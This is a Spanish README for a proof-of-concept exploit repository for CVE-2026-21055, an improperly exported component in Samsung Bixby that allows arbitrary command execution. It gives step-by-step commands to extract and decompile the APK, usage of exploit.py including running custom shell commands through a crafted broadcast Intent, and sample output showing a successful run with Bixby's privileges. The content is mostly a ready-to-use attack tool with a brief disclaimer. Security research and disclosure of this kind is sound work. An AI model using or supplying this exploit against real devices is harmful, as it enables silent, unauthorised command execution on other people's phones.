
Exploit de prueba de concepto para CVE-2026-21055 que demuestra la ejecución arbitraria de comandos mediante componentes de Android exportados incorrectamente en Samsung Bixby. Incluye análisis de componentes y scripts de ataque basados en Intents.
Prueba de concepto para CVE-2026-21055: La exportación incorrecta de componentes de aplicaciones Android en Samsung Bixby anterior a la versión 4.0.70.8 permite a atacantes locales ejecutar comandos arbitrarios con privilegios de Bixby.
Este repositorio contiene dos scripts de Python:
analyze_components.py — Analiza un AndroidManifest.xml descompilado para enumerar actividades, servicios, receptores y proveedores exportados. Marca los componentes exportados sin guardias de permisos.
exploit.py — Demuestra el ataque basado en Intent enviando un Intent de difusión manipulado al receptor de comandos exportado de Bixby a través de adb shell am, ejecutando un comando con los privilegios a nivel de sistema de Bixby.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-21055 |
| Samsung SVE | SVE-2026-0917 |
| CVSS v4.0 | 8.5 — Alto |
| CWE | CWE-926 — Exportación Incorrecta de Componentes de Aplicaciones Android |
| Aplicación afectada | Samsung Bixby (com.samsung.android.bixby.agent) |
| Versiones afectadas | < 4.0.70.8 |
| Versión corregida | 4.0.70.8 |
| Vector de ataque | Local (aplicación maliciosa en el mismo dispositivo) |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Impacto | Ejecución de comandos arbitrarios con privilegios de Bixby |
Extrae el APK de Bixby del dispositivo y descompílelo:
# Encontrar la ruta del APK de Bixby
$ adb shell pm path com.samsung.android.bixby.agent
# Extraer el APK
$ adb pull <ruta_apk> bixby.apk
# Descompilar con apktool
$ apktool d bixby.apk -o bixby_decompiled -f
Ejecuta el script de análisis:
$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml
O deja que el script descompile automáticamente:
$ python3 analyze_components.py --apk bixby.apk
$ python3 exploit.py --list
# Por defecto: ejecuta el comando 'id'
$ python3 exploit.py
# Comando personalizado
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"
# Especificar un componente personalizado (si falla la detección automática)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver
============================================================
CVE-2026-21055 PoC — Samsung Bixby Command Execution
Improper Export of Android Application Components
============================================================
[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version: 4.0.69.2
[*] Vulnerable: YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx
[*] Executing exploit...
[*] Crafting exploit Intent...
Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
Action: com.samsung.android.bixby.agent.ACTION_RUN_SHELL
Command: id
Output: /data/local/tmp/bixby_poc_output
[+] Intent sent.
[+] Command output (executed with Bixby privilege):
uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)
[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx
Exportación de Componente: Bixby exporta uno o más componentes (servicios/receptores) que manejan la ejecución de comandos o disparadores de automatización. Estos componentes se exportan con android:exported="true" pero sin un atributo android:permission ni comprobaciones de permisos en tiempo de ejecución.
Entrega de Intent: Cualquier aplicación en el dispositivo puede enviar un Intent a estos componentes exportados. El Intent lleva una cadena de acción (ej., ACTION_RUN_SHELL) y extras de cadena que contienen el comando a ejecutar y una ruta de archivo de salida.
Ejecución de Comando: El componente exportado de Bixby recibe el Intent, extrae el comando y lo ejecuta a través de Runtime.exec() o un mecanismo similar. El comando se ejecuta en el contexto del proceso de Bixby, heredando todos los permisos a nivel de sistema de Bixby.
Sin Interacción del Usuario: El exploit no requiere interacción del usuario. La aplicación maliciosa envía el Intent silenciosamente en segundo plano.
Este PoC se proporciona únicamente con fines educativos y de investigación de seguridad. Pruebe solo en dispositivos que posea o tenga autorización explícita para probar. No use este exploit contra dispositivos sin el consentimiento del propietario.